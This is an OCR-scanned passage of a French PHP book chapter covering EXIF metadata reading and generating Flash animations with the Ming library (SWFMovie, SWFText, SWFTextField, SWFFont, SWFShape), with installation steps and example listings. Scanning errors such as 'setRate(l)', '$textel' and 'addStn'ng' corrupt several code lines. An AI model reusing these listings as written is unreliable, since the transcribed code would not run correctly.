$exif Infos = read_exif_data($fichier) ; 
echo $fichier." :<br />\n"; 
foreach($exifInfos as $cle=>$info) { 
if($cle == "Thumbnail ") { 

$file = fopen( "thumbnail ","wb") ; 

fwrite($file, $info); 

fclose($file); 

echo "<img src=' thumbnail ' /xbr />\n"; 
} else { 

echo "$cle: $info<br />\n"; 



} 
?> 




Figure 13.29 : 

Photo de test : adrien.jpg 



Voici ce qui est retourne dans le cas de cette photo (l'imagette a ete retiree) 

adrien.jpg: 
FILE.FileName: adrien.jpg 



1080 



Images (utilisation de la bibliotheque GD) 



FILE.FileDateTime: 1027957704 

FILE.FileSize: 561805 

FILE.FileType: 2 

FILE. Mi me Type: 1 mage/ j peg 

FILE.SectionsFound: ANY_TAG, IFDO, THUMBNAIL, EXIF, MAKERNOTE 

C0MPUTED.html: width="1440" height="2160" 

COMPUTED. Height: 2160 

COMPUTED. Width: 1440 

COMPUTED. IsColor: 1 

COMPUTED. ByteOrderMotorola: 

COMPUTED. CCDWidth: 15mm 

COMPUTED. ExposureTime: 0.017 s (1/60) 

COMPUTED. ApertureFNumber: f/4.5 

COMPUTED. UserComment: 

COMPUTED. UserCommentEncoding: UNDEFINED 

COMPUTED. Thumbnail. FileType: 2 

COMPUTED. Thumbnail .MimeType: image/jpeg 

COMPUTED. Thumbnail. Height: 160 

COMPUTED. Thumbnail. Width: 120 

IFDO. Make: Canon 

IFDO. Model: Canon EOS D30 

IFDO. Orientation: 1 

IFDO.XResolution: 180/1 

IFDO.YResolution: 180/1 

IFDO.ResolutionUnit: 2 

IFDO.DateTime: 2001:12:25 06:35:11 

IFDO.YCbCrPositioning: 1 

IFDO.Exif_IFD_Pointer: 196 

THUMBNAIL. Compression: 6 

THUMBNAIL. XResolution: 180/1 

THUMBNAIL. YResolution: 180/1 

THUMBNAIL. Resol utionUnit: 2 

THUMBNAIL. JPEGInterchangeFormat: 1244 

THUMBNAIL. JPEGInterchangeFormatLength: 7537 

«ICI NOUS AURIONS L'IMAGETTE» 

EXIF.ISOSpeedRatings: 100 

EXIF.ExifVersion: 0200 

EXIF.DateTimeOriginal: 2001:12:25 06:35:11 

EXIF.DateTimeDigitized: 2001:12:25 06:35:11 

EX IF. Component sConfigurat ion: [1] 

EXIF.ShutterSpeedValue: 387114/65536 

EXIF.ApertureValue: 284416/65536 

EXIF.ExposureBiasValue: 0/6 

EXIF. Focal Length: 85/1 

EXIF. UserComment: 

EXIF.FlashPixVersion: 0100 

EXIF.ColorSpace: 1 

EXIF.ExiflmageWidth: 1440 

EXIF.ExiflmageLength: 2160 

EXI F. Focal PI aneXResol uti on : 1440000/595 

EXI F. Focal PI aneYResol ution : 2160000/892 

EXI F . Focal PI aneResol uti onUni t : 2 
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MAKERNOTE.ModeArray: Array 

MAKERNOTE . Undef i nedTag : 0x0002 : Array 

MAKERNOTE. Imagelnfo: Array 

MAKERNOTE. ImageType: IMG:E0S D30 JPEG 

MAKERNOTE. FirmwareVersion: Firmware Version 00.00 

MAKERNOTE. ImageNumber: 1979721 

MAKERNOTE. OwnerName: 

MAKERNOTE. Camera: 422051855 

MAKERNOTE. CustomFunctions: Array 



Bien entendu, ces informations ne sont valables que pour cet appareil photo CANON EOS 
D30). Pour un autre appareil photo, les informations fournies seront probablement differentes, 
et cela sera encore plus vrai pour une autre marque d'appareil photo. 



exif_thumbnail() 
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Retourne l'apercu contenu dans l'en-tete EXIF s'il y en a un. 

Syntaxe string exif_thumbnail (string $nomFichier[, int &$largeur[, 

&$hauteur]]) 

$nomFi chi er Nom du fichier dont vous souhaitez extraire l'apercu. 

$largeur Reference vers la variable $largeur ; cette variable sera assignee par la 

valeur de la largeur de l'image. 

$hauteur Reference vers la variable $hauteur ; cette variable sera assignee par la 

valeur de la hauteur de l'image. 

retour Apercu de l'image (thumbnail). 



13.2. Les animations Flash 



Comme vous le savez certainement, il est possible, grace a la technologie Flash de Macromedia, 
de realiser des animations multimedias interactives. Ces animations peuvent etre integrees 
dans une page web, pour peu que le navigateur integre l'extension (plugin) ad hoc. Ces 
animations sont generalement construites une fois pour toutes, a partir d'un logiciel 
proprietaire. Mais, grace aux bibliotheques dont dispose PHP, il est possible de generer ces 
animations au vol, ce qui permettra (meme si ce n'est pas vraiment le cas dans les exemples 
suivants) de faire des animations qui varient en fonction du temps, de l'utilisateur, ou de tout 
autre parametre dont le serveur aura connaissance. 

Pour parvenir a ce resultat, PHP propose un bibliotheque appelee Ming qui, bien que 
consideree comme experimentale, fonctionne deja a merveille (il lui manque quand meme 
encore quelques fonctionnalites). 
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Installation 

La bibliotheque Ming est disponible aussi bien sous Windows que sous Linux. 

Sous Windows 

Avec l'archive du PHP Group 

Vous devrez vous assurer d'avoir le fichier php_ming.dll (livre dans l'archive PHP distribute par 
le PHP Group) dans votre repertoire contenant les extensions PHP, et ajouter ou 
decommenter une ligne 

extension=php_ming.dl 1 

Avec EasyPHP 

Avec EasyPHP, le support de la bibliotheque Ming est active automatiquement. 

Sous Linux 

Dans un premier temps, vous devrez vous procurer les sources de la bibliotheque. Celles-ci sont 
disponibles a l'adresse http://ming.sourceforge.net / (mais egalement sur le CD-ROM fourni). 

Vous pourrez alors (par exemple, sous le repertoire /usr/local/src/lib) taper les commandes 
suivantes : 

# gunzip ming-0.2a.tgz 

# tar xvf ming-0.2a.tar 

afin de decompresser les sources. 

# cd ming-0.2a 

# make 

Vous voila maintenant avec un fichier libming.so. 
Copiez libming.so sous lusrllocalllib. 

# cp libming.so /usr/local/lib/. 
Copiez ming.h sous /usr/local/include. 

# cp ming.h /usr/local/include/. 

Puis, vous devez recompiler PHP avec l'option — with-ming=/usr/iocai . 

/£\ Probleme d 'installation et Apache 

, =» Si la librairie est mal installee, vous aurez certainement des messages du genre "child 

pkl ... exit signal segmentation fault" dans le fichier de trace des erreurs d' Apache. 
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Verification 

Vous pouvez vous assurer du bon deroulement de l'operation d'installation en executant un 
simple script <?php phpinf o ( ) ,■ ?> devant afficher : 

Figure 13.30 : 

phpinf o() 
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Utilisation 

Comme tout type d'animation, les animations Flash sont composees d'une serie de vues (en 
anglais, frames), et e'est la succession de ces vues qui donne la sensation de mouvement. 

Chacune de ces vues contient un dessin "complexe", realise par la superposition de couches 
contenant des dessins "elementaires". On pourra ainsi avoir un arriere-plan, un plan principal, 
un premier plan, etc. 

Par defaut, chaque nouvelle vue contiendra l'ensemble des dessins de la vue precedente (ce qui 
evite, par exemple, de toujours redefinir l'arriere-plan). Libre ensuite au realisateur d'ajouter, 
de supprimer ou de deplacer, entre deux vues, certains elements pour que, au final, l'animation 
donne une sensation de mouvement. 

Figure 13.31 : 

Exemple d'une courte animation 

Notez toutefois que le deroulement de l'animation n'est pas necessairement lineaire. Comme 
Ton peut introduire de l'interactivite, il est a tout moment possible de revenir a une vue 
precedente ou de sauter a une tout autre vue. 

Le schema de base 

L'animation Flash pourra, au choix, etre directement envoyee au navigateur ou stockee dans un 
fichier. 

Ainsi, la creation d'un animation compte trois actions principales : 

Creation d'un objet Animation (ou Film) par instanciation de l'objet SWFMovie() (qui ne 
necessite aucun parametre). 

Creation des objets qui vont constituer l'animation, et association a r 'objet Animation. 

Appel a la methode output ( ) de l'objet Animation pour un envoi direct au navigateur, ou 
appel a la methode save ($nomFichier) de 1' objet Animation pour une sauvegarde de 
l'animation dans un fichier. 



SWFMovie 

Instancie un objet animation Flash. 
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Syntaxe SWFMovie SWFMovie(int $version) 

$ vers i on Numero de version de Flash. Par defaut 4. 

retour Objet SWFMovie. 



SWFMovie->output() 



Envoie le code de l'animation directement au navigateur. 

Syntaxe int output (void) 

retour La signification du code retour n'est pas connue. 



SWFMovie->save() 

Sauve le code de l'animation dans un fichier. 



REMARQUE 



Syntaxe int save (string $nomFichier) 

$nomFichier Nom du fichier de sauvegarde de l'animation. 

retour La signification du code retour n'est pas connue. En cas d'erreur, le script 

leve une erreur de type "fatale" et s'arrete. 



Envoi direct au navigateur 

Si vous decidez d'envoyer directement le contenu de l'animation Flash au navigateur, 

vous devezfaire un appel a lafonction header ( "Content-type: application/ 

x-shockwave- flash " ) avant tout appel a la methode output (). 

Vous pouvez choisir ici entre deux regies de codage : 

Vous pouvez commencer directement le script par V appel a lafonction header (). 

Ainsi, d la lecture du code source, I'objectif du script sera de generer une animation 

Flash. Cependant, la contrepartie est que tout eventuel message d'erreur leve par les 

fonctions appelees apres header ( ) sera invisible, car interprets comme du code 

Flash. 

Vous pouvez egalement placer I'instruction header () juste avant Vappel a la 

methode output (). 

Au choix : 

<?php 

header ("Con tent-type: application/x-shockwave-flash") ; 

$anim = new Movie() ; 

// Construction proprement dite de 1 'animation 
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Chapitre 1 3 Les images et les animations Flash 



$anim->output() ; 
?> 

ou 

<?php 

$anim = new Movie() ; 

// Construction proprement dite de 1 'animation 

header ("Con tent- type: application/x-shockwave-flash") 
$anim->output() ; 
?> 



Presentation des vues 

Une fois la creation de l'animation initialised avec l'instanciation de l'objet SWFMovie, le 
generateur est pret a composer la premiere vue. A partir de la, toutes les operations 
s'appliqueront done a la premiere vue. Une fois cette vue realisee (cf. composition des vues), il 
faut appeler la methode nextFrame ( ) de l'objet SWFMovie pour valider la vue qui vient d'etre 
creee. Cette fonction ne necessite aucun parametre, et ne retourne rien ; mais elle a egalement 
pour effet d'incrementer le compteur de vues. Ainsi, toutes les operations suivantes 
s'appliqueront non pas a la premiere, mais a la seconde vue, et ainsi de suite. 



SWFMovie () ->nextFrame () 



Valide la vue en cours et passe a la creation de la suivante. 
Syntaxe void nextFrame(void) 

Composition des vues 

Chaque dessin qui compose une vue est realise a partir d'objets elementaires (objets au sens 
informatique du terme). Parmi ces objets nous trouvons : 

■ Les textes ; 

Les formes "complexes" (basees sur des lignes, courbes, etc.) ; 

Les boutons ; 

Les zones de saisie de texte. 

Certains de ces objets vont utiliser d'autres objets tels que : 

■ Les polices de caracteres ; 

■ Les images ; 
Les degrades ; 
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Les remplissages. 

De meme, il existe d'autres objets de plus haut niveau comme : 

Les morphing ; 
■ Les sous-animations. 

Une fois instancie, l'objet pourra alors etre associe a la vue en cours par un simple appel a la 
methode add ( ) de l'objet SWFMovie. 



SWFMovie->add() 



Ajoute un objet a la vue courante de l'animation. Les objets graphiques s'empilent sur la 
couche superieure aux precedents. Autrement dit, le dernier objet ajoute se retrouve en 
premier plan. Par la suite, nous verrons qu'il est egalement possible d'ajouter des objets qui ne 
sont pas des objets graphiques. 

Syntaxe SWFDisplayltem add (mixed $objet) 

$objet Objet a ajouter a la "sous-animation". Ce peut etre un objet SWFText, 

SWFTextField, SWFShape, SWFMorph, SWFButton, SWFAction ou 
SWFSprite. 

retour Un objet SWFDisplayltem uniquement dans le cas des objets graphiques. 

Comme nous le verrons par la suite, cela permet de placer, transformer, 
etc. l'objet. 

II est possible d'ajouter plusieurs fois le meme objet (la meme representation graphique) et 
d'obtenir ainsi plusieurs instances de SWFDisplayltem. Ce qui permet a chacun de ces objets 
d'avoir sa propre vie. 

Les proprietes de l'animation peuvent etre definies par appel aux methodes suivantes : 



SWFMovie->setDimension () 



Determine les dimensions pour lesquelles l'animation a ete concue. II s'agit des dimensions 
"ideales", mais cela n'empechera pas l'animation d'etre affichee dans une taille superieure si on 
le lui demande (via les attributs "width" et "height" de la balise HTML par exemple). 

Syntaxe void setDimension(int $largeur, int $hauteur) 

$1 argeur Largeur ideale de l'animation, en pixels. 

$hauteur Hauteur ideale de l'animation, en pixels. 
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SWFMovie->setBackground () 

Definit la couleur de fond de l'animation. 

Syntaxe void setBackground(int $rouge, int $vert, int $bleu) 

$rouge Composante rouge de la couleur de fond. Valeur comprise entre et 255. 

$vert Composante verte de la couleur de fond. Valeur comprise entre et 255. 

$bl eu Composante bleue de la couleur de fond. Valeur comprise entre et 255. 



SWFMovie->setRate() 
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Definit la vitesse de defilement de l'animation. La vitesse de defilement est toutefois 
dependante de la vitesse d'affichage et de traitement des instructions Flash. De ce fait, la vitesse 
observee peut etre plus lente que prevue, ou bien quelques vues peuvent ne pas etre affichees. 

Syntaxe void setRate (double $vitesseDefilement) 

$vi tesseDef i 1 ement Vitesse de defilement de 1'animation en nombre d'images par seconde. 

Listing 13.28 : ming 01. php 

<?php 

// Cette animation Flash ne fait rien 
// du tout 

// 

// Ce script presente simpl ement 

// la structure classique d'une animation Flash 

// Instanciation de l'objet animation 

$anim = new SWFMovie(); 

// Definition des principaux parametres 

// - Dimension 

// - Couleur de fond 

// - Vitesse de defilement 

$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

// 

// Ici, on pourrait trouver 

// une serie d'instanciations d'objets 

// disons $objetl, $objet2, etc... 

// 
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// Ensuite, on peut 
// composer la vue 1 

$anim->add($objetl) ; 
$anim->add($objet2) ; 

// Valider la vue 1 

$anim->nextFrame() ; 

// Pour eventuellement passer 

// a la composition de la vue 2. 

// 00 on pourra ajouter d'autres objets 

$anim->add($objet3) ; 
$anim->nextFrame() ; 



// Et enfin, on pourra envoyer le flux 

// directement au navigateur 

// apres 1 'avoir prevenu que ce qui suit 

// est une animation Flash 

header ("Con tent -type: application/x-shockwave-flash") ; 

$anim->output() ; 



L'objettexte(Text) 

Les textes s'instancient par un appel au constructeur swFText ( ) . 
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SWFText 



Objet texte. 

Syntaxe SWFText SWFText (void) 

Cet objet propose une serie de methodes permettant de definir la police qui doit etre utilisee, 
l'endroit ou doit etre positionne le texte et, evidemment, le texte qui doit etre affiche. 



SWFText->setFont() 

Precise quelle police de caracteres doit etre utilisee pour le texte qui vient. 

Syntaxe void setFont(SWFFont $police) 

$pol i ce Objet SWFFont (voir chapitre suivant). 
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Chapitre 1 3 Les images et les animations Flash 

SWFText->setHeight() 

Precise quelle hauteur la police de caracteres doit prendre pour le texte qui vient. 
Syntaxe void setHeight(int $hauteur) 

$hauteur Hauteur de la police de caracteres. L'unite de mesure est celle de 

l'animation (autrement dit en pixels si les dimensions "preconisees" pour 
ranimation sont respectees). 

SWFText->setColor() 

Precise la couleur a utiliser pour le texte qui vient. Tant qu'aucun appel a cette methode n'est 
fait, le texte est transparent. 

Syntaxe void setColor(int $rouge, int $vert, int $bleu, [$alpha]) 

$rouge Composante rouge de la couleur du texte. Valeur comprise entre et 255. 

$vert Composante verte de la couleur du texte. Valeur comprise entre et 255. 

$bl eu Composante bleue de la couleur du texte. Valeur comprise entre et 255. 

$alpha Composante Alpha (transparence) de la couleur du texte. Valeur 

optionnelle, comprise entre (couleur totalement transparente) et 255 
(couleur totalement opaque). 



SWFText->moveTo() 

Positionne le texte qui vient. 

Syntaxe void moveTo(int $x, int $y) 

$x Coordonnee x du prochain texte (l'axe des abscisses est dirige de la gauche 

vers la droite). 

$y Coordonnee y du prochain texte (l'axe des ordonnees est dirige du haut 

verslebas). 



SWFText->addString() 



Complete le texte a afficher. Le texte sera affiche avec les proprietes definies par les methodes 
vues precedemment (et appelees avant addstring ( ) ). 

Syntaxe void addString (string $texte) 

$texte Texte a ajouter a l'objet SWFText. 
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Les animations Flash 



jg. En cours de developpement 

v \^' II existe une methode setSpacing( ) censee modifier I'espace entre les caracteres, 
REMARQJE mais dans la version testee, cette methode ne fonctionne pas. 

Voici ce que, deja, vous pouvez faire : 

Listing 13.29 : mingJextOLphp 

<?php 

// Initialisation d'une nouvelle animation 
// a un rythme tres leger 1 image/seconde 
// pour bien detainer la scene 
$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

// Instanciation d'un nouvel objet police 

// Avant d'executer ce script, pensez 

// a verifier que vous possedez bien 

// cette police dans votre environnement 

// et que le chemin vers le fichier .fdb 

// est bien conforme a votre environnement. 

// Sinon, vous risquez le crash de votre navigateur 

$police = new SWFFont("ming_pol ices/arial .fdb") ; 

// Creation de 1 'objet textel 
$textel = new SWFText(); 

// Operation indispensable 

// preciser la police de caractere du texte 

$textel->setFont($pol ice) ; 

// Selection de la couleur du texte 
$textel->setColor(0, 0, 0); 

// Positionnement du texte 
$textel->moveTo(10, 10); 
$textel->setHeight(10); 

$textel->addString("Faire du Flash ..."); 

// Creation de 1 'objet texte2 
$texte2 = new SWFText(); 
$texte2->setFont($pol ice) ; 
$texte2->setColor(0, 0, 0); 
$texte2->moveTo(10, 30); 
$texte2->setHeight(20); 
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Chapitre 1 3 Les images et les animations Flash 



$texte2->addStn'ng("... avec PHP ?"); 
$texte2->setHeight(20) ; 

// Creation de l'objet texte3 

// centre 

$texte3 = new SWFText(); 

$texte3->setFont($pol ice) ; 

$texte3->setColor(0, 0, 0); 

$chaine="Finallement, c'est ..."; 

$texte3->setHeight(5); 

$texte3->moveTo(50-$texte3->getWidth($chaine)/2, 40) ; 

$texte3->addString($chaine) ; 



// Creation de l'objet texte4 
// avec des lettres de plus en plus grosses 
$texte4 = new SWFText(); 
$texte4->setFont($pol ice) ; 
$texte4->setColor(255, 0, 0); 
$texte4->moveTo(10, 70); 
$texte4->setHeight(10); 
$texte4->addString("Fa") ; 
$texte4->setHeight(20) ; 
$texte4->addString("ci ") ; 
$texte4->setHeight(30) ; 
$texte4->addString("le !"); 

// La premiere vue ne contiendra 
// que le premier texte 
$anim->add($textel) ; 
$anim->nextFrame() ; 

// Puis la seconde vue sera enrichie 
// d'un second texte 
$anim->add($texte2) ; 
$anim->nextFrame() ; 

// puis d'un troisieme 
$anim->add($texte3) ; 
$anim->nextFrame() ; 

// et le texte sera complet 

// dans la derniere vue 

$anim->add($texte4) ; 

// Bien qu'il s'agisse de la derniere vue 

// il est indispensable de faire appel 

// a next Frame (); 

$anim->nextFrame() ; 



header ("Con tent- type: appl i cati on/x- s hoc kwave-f lash") 
$anim->output() ; 



?> 
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Preciser une police de caracteres 

II n'y a pas de police par defaut. Avant d'ajouter un texte, il faut obligatoirement 



ATTENTION indiquer quelle police devra etre utilisee. 



A Couleurpar defaut 

^^^ Le texte etant par defaut transparent, si vous ne voyez rien a I'ecran, c'est peut-etre 
ATTENTION t° u t simplement que vous avez oublie defaire un appel a la methode setColor ( ). 



L'objet champ texte (TextField) 

Les champs textes s'instancient par un appel au constructeur swFTextField( ) . 



SWFTextField 

Objet champ texte. 

Syntaxe SWFTextField SWFTextField([int $options]) 

$opti ons Parametre optionnel precisant le comportement et le rendu de l'objet. Cet 

argument peut prendre une ou des valeurs (en les combinant par 
l'operateur logique OU " | ") parmi : 

SWFTEXTFIELD_N0EDIT : champ texte non editable. 
SWFTEXTFlELD_PASSORD : champ mot de passe (les caracteres sont 
remplaces a l'affichage par des *). 

SWFTEXTFlELD_DRAWBOX : trace le contour du champ texte. 
SWFTEXTFIELD_MULTILINE : cree un champ texte multi-ligne (selon 
les dimensions du champ texte). 

SWFTEXTFlELD_WORDWRAP : force le retour a la ligne des mots. 
SWFTEXTFlELD_NOSELECT : champ texte que Ton ne peut pas 
selectionner (valeur par defaut). 

Cet objet propose une serie de methodes permettant de definir la police qui doit etre utilisee, 
la taille que doit avoir le champ texte, etc. 



SWFTextField->setBounds () 

Precise la largeur et la hauteur du champ texte. 

Syntaxe void setBounds(int $largeur, int $hauteur) 

$largeur Largeur du champ texte. 

$hauteur Hauteur du champ texte. 
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Chapitre 1 3 Les images et les animations Flash 



SWFTextField->setColor() 

Precise la couleur a utiliser pour le texte qui sera ajoute au champ texte. Tant qu'aucun appel 
a cette methode n'est fait, le texte est noir. 

Syntaxe void setColor(int $rouge, int $vert, int $bleu, [$alpha]) 

$rouge Composante rouge de la couleur du texte. Valeur comprise entre et 255. 

$vert Composante verte de la couleur du texte. Valeur comprise entre et 255. 

$bl eu Composante bleue de la couleur du texte. Valeur comprise entre et 255. 

$alpha Composante Alpha (transparence) de la couleur du texte. Valeur 

optionnelle comprise entre (couleur totalement transparente) et 255 
(couleur totalement opaque). 



SWFTextField->setFont() 

Precise quelle police de caracteres doit etre utilisee pour le texte du champ texte. 

Syntaxe void setFont(SWFFont $police) 

$pol i ce Objet SWFFont (voir chapitre suivant). 

SWFTextField->setHeight() 

Precise quelle hauteur de police de caracteres doit etre utilisee pour le texte du champ texte. 

Syntaxe void setHeight(int $hauteur) 

$hauteur Hauteur de la police de caracteres. L'unite de mesure est celle de 

l'animation (autrement dit en pixels si les dimensions "preconisees" pour 
1'animation sont respectees). 



SWFTextField->align() 

Precise l'alignement du texte dans le champ texte. 

Syntaxe void align(int $alignement) 

$alignement $alignement peut prendre une valeur parmi : 

SWFTEXTFIELD_ALIGN_LEFT pour un alignement a gauche. 
SWFTEXTFIELD_ALIGN_RIGHT pour un alignement a droite. 
SWFTEXTFIELD_ALIGN_CENTER pour un texte centre. 
SWFTEXTFIELD_ALIGN_JUSTIFY pour un texte justifie. 
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Les animations Flash 

SWFTextField->setLeftMargin () 

Precise la largeur de la marge gauche (espace separant le texte du bord gauche du champ texte). 

Syntaxe void setLeftMargin(int $largeur) 

$largeur Largeur de la marge. 

SWFTextField->setRightMargin () 

Precise la largeur de la marge droite (espace separant le texte du bord droit du champ texte). 

Syntaxe void setRightMargin(int $largeur) 

$largeur Largeur de la marge. 



SWFTextField->setMargins () 



Precise la largeur des marges gauche (espace separant le texte du bord gauche du champ texte) 
et droite (espace separant le texte du bord droit du champ texte). 

Syntaxe void setMargins(int $largeurGauche, int $largeurDroite) 

$1 argeurGauche Largeur de la marge gauche. 
$1 argeurDroi te Largeur de la marge droite. 
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SWFTextField->setIndentation () 



Precise la largeur du re trait a droite de la premiere ligne du champ texte. 

Syntaxe void setIndentation(int $largeur) 

$1 argeur Largeur du retrait a droite. 



SWFTextField->setLineSpacing() 

Precise l'espacement entre deux lignes de texte du champ texte. 

Syntaxe void setLigneSpacing(int $hauteur) 

$hauteur Espacement entre deux lignes. 
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Chapitre 1 3 Les images et les animations Flash 

SWFTextField->addString() 

Precise ou ajoute un texte au contenu du champ texte. 

Syntaxe void addString (string $texte) 

$texte Texte a ajouter au champ texte. 

L'objet Police (Font) 

Les polices de caracteres s'instancient par un appel au constructeur swFFont. 

SWFFont 

Objet police de caracteres. 

Syntaxe SWFFont SWFFont (string $fichierPol ice) 

$f i chi erPol i ce Chemin vers un fichier .dfo/contenant les caracteristiques de la police de 
caracteres. 



Les polices 

II n'y a pas de police fournie par defaut avec la bibliotheque Ming. II vous faudra 
done soit en creer vous-meme, soit en recuperer sur Internet. Par exemple a I'adresse : 
http://www.opaque.net/wiki/index.php7MingFonts. 



REMARQUE 



II n'y a pas de methode destinee a modifier les proprietes des polices. Mais il est en revanche 
possible d'en recuperer les proprietes avec : 



SWFFont->getWidth() 



Indique la largeur qu'occupera, dans cette police, le texte indique. Comme il s'agit la de la 
largeur dans la taille par defaut, il est preferable de faire appel a la methode getwidth ( ) de 
l'objet SWFText, et seulement apres avoir appele la methode setHeight ( ) associee. 

Syntaxe int getWidth (string $texte) 

$texte Texte dont on veut mesurer la largeur dans cette police. 

retour Largeur du texte dans cette police. 
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SWFFont->getAscent() 



Retourne la distance qui separe la ligne de base du haut de la lettre la plus haute dans cette 
police (distance representee par un a dans le schema suivant). 

Syntaxe int getAscent(void) 

retour Distance qui separe la ligne de base du haut de la lettre la plus haute dans 

cette police. 



SWFFont->getDescent() 



Retourne la distance qui separe la ligne de base du bas de la lettre descendant le plus bas dans 
cette police (distance representee par un a dans le schema suivant). 

Syntaxe int getDescent(void) 

retour Distance qui separe la ligne de base du bas de la lettre descendant le plus 

bas dans cette police. 



SWFFont->getLeading() 

Retourne la distance conseillee entre deux lignes de texte successives. 

int getLeading(void) 

Distance comprise entre la ligne de base de la premiere ligne et le haut de 
la plus haute lettre dans cette police de la seconde ligne (distance 
representee par un 1 dans le schema suivant). 

Figure 13.32 : 

Les proprietes d'une police de caracteres 



L'objet forme "complexe" (Shape) 

Les formes complexes s'instancient par l'appel au constructeur swFShape ( ) , 



Syntaxe 

retour 
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SWFShape 

Objet forme "complexe". 

Syntaxe SWFShape SWFShape () 
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Chapitre 1 3 Les images et les animations Flash 



Cet objet propose de nombreuses methodes permettant le trace de lignes ou de courbes, le 
remplissage de formes, etc. 

Lors du trace des objets, il est important de noter que les axes des coordonnees sont diriges de 
gauche a droite pour les x, et de haut en bas pour les y. 

Les methodes de trace sont : 



SWFShape->movePenTo () 

Deplace le pointeur de trace. 

Syntaxe void movePenTo(int $x, int $y) 

$x Nouvelle abscisse du pointeur de trace. 

$y Nouvelle ordonnee du pointeur de trace. 



SWFShape->movePen() 

Deplace le pointeur de trace relativement a sa position courante. 

Syntaxe void movePen(int $dx, int $dy) 

$dx Deplacement selon l'axe des x du pointeur de trace. La nouvelle abscisse 

absolue est alors $xPointeur+$dx. 

$dy Deplacement selon l'axe des y du pointeur de trace. La nouvelle ordonnee 

absolue est alors $yPointeur+$dy. 



SWFShape->drawLineTo () 



Trace une droite entre la position courante du pointeur et le point precise. Le pointeur est 
ensuite deplace aux coordonnees precisees. 

Syntaxe void drawLineTo(int $x, int $y) 

$x Abscisse du point d'arrivee de la ligne tracee. 

$y Ordonnee du point d'arrivee de la ligne tracee. 
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SWFShape->drawLine() 



Trace une droite entre la position courante du pointeur et le point precise. Le pointeur est 
ensuite deplace aux coordonnees precisees. Les coordonnees du point d'arrivee sont ici 
relatives a la position du pointeur. 

Syntaxe void drawLine (int $dx, int $dy) 

$x Abscisse relative du point d'arrivee de la ligne tracee, soit l'abscisse 

absolue $xPointeur+$dx. 

$y Ordonnee relative du point d'arrivee de la ligne tracee, soit l'ordonnee 

absolue $yPointeur+$dy. 



SWFShape->drawCurveTo () 



Trace une courbe de Bezier quadratique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur le point indique par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. 

Syntaxe void drawCurveTo(int $xl, int $yl, int $x2, int $y2) 

$x 1 Abscisse du point d'appui de la courbe de Bezier. 

$y 1 Ordonnee du point d'appui de la courbe de Bezier. 

$x2 Abscisse du point d'arrivee de la courbe de Bezier et future abscisse du 

pointeur. 

$y2 Ordonnee du point d'arrivee de la courbe de Bezier et future ordonnee du 

pointeur. 



SWFShape->drawCurve () 



Trace une courbe de Bezier quadratique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur le point indique par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. Dans ce cas, les 
coordonnees sont relatives. 

Syntaxe void drawCurve(int $dxl, int $dyl, int $dx2, int $dy2) 

$dxl Abscisse relative au pointeur du point d'appui de la courbe de Bezier, soit 

l'abscisse absolue $xPointeur+$dxl. 

$dyl Ordonnee relative au pointeur du point d'appui de la courbe de Bezier, 

soit l'ordonnee absolue $yPointeur+$dyl. 

$dx2 Abscisse relative au point d'appui du point d'arrivee de la courbe de Bezier 

et future abscisse du pointeur, soit l'abscisse absolue 

$xPointeur+$dxl+$dx2. 
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Chapitre 1 3 Les images et les animations Flash 



$dy2 Ordonnee relative au point d'appui du point d'arrivee de la courbe de 

Bezier et future ordonnee du pointeur, soit l'ordonnee absolue 

$yPointeur+$dyl+$dy2. 



[X2,y2| 



Figure 13.33 : 

Exemple de courbe de Bezier 
quadratique 



SWFShape->drawCubicTo () 
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Trace une courbe de Bezier cubique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur les deux points indiques par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. 

Syntaxe void drawCubicTo(int $xl, int $yl, int $x2, int $y2, int $x3, 

int $y3) 

$xl Abscisse du l er point d'appui de la courbe de Bezier. 

$yl Ordonnee du l er point d'appui de la courbe de Bezier. 

$x2 Abscisse du 2 nd point d'appui de la courbe de Bezier. 

$y2 Ordonnee du 2 nd point d'appui de la courbe de Bezier. 

$x3 Abscisse du point d'arrivee de la courbe de Bezier et future abscisse du 

pointeur. 

$y3 Ordonnee du point d'arrivee de la courbe de Bezier et future ordonnee du 

pointeur. 



SWFShape->drawCubic() 



Trace une courbe de Bezier cubique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur les deux points indiques par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. Dans ce cas, les 
coordonnees sont relatives. 

Syntaxe void drawCubic(int $dxl, int $dyl, int $dx2, int $dy2, int 

$dx3, int $dy3) 

$dxl Abscisse relative au pointeur du l er point d'appui de la courbe de Bezier, 

soit l'abscisse absolue $xPointeur+$dxl. 

$dy 1 Ordonnee relative au pointeur du l er point d'appui de la courbe de Bezier, 

soit l'ordonnee absolue $yPointeur+$dyl. 

$dx2 Abscisse relative au l er point d'appui du 2 nd point d'appui de la courbe de 

Bezier, soit l'abscisse absolue $xPointeur+$dxl+$dx2. 

$dy2 Ordonnee relative au l er point d'appui du 2 nd point d'arrivee de la courbe 

de Bezier, soit l'ordonnee absolue $yPointeur+$dyl + $dy2. 
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$dx3 



$dy3 



t»o.yO) 



[K3.VJ.I 



Abscisse relative au 2 nd point d'appui du point d'arrivee de la courbe de 
Bezier et future abscisse du pointeur, soit l'abscisse absolue 
$xPointeur+$dxl+$dx2+$dx3. 

Ordonnee relative au 2 nd point d'appui du point d'arrivee de la courbe de 
Bezier et future ordonnee du pointeur, soit l'ordonnee absolue 

$yPointeur+$dyl+$dy2+$dy3. 

Figure 13.34 : 

Exemple de courbe de Bezier cubique 



REMARQUE 



drawCubic() et drawCurve() 

Pour obtenir des courbes de Bezier cubiques, il est egalement possible d'appeler les 
methodes drawCurveO et drawCurveTo ( ) avec les six memes parametres que 
ceuxde drawCubic ( ) et drawCubicTo ( ) . 



SWFShape->drawGlyph() 



Trace un caractere donne a la position du pointeur. 

Syntaxe void drawGlyph(SWFFont $police, char $caractere) 

$pol i ce Police d'ecriture a utiliser. 

$caractere Caractere a ecrire. Cette methode ne permet de tracer qu'un caractere a 

la fois. 
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REMARQUE 



Parametres de trace 

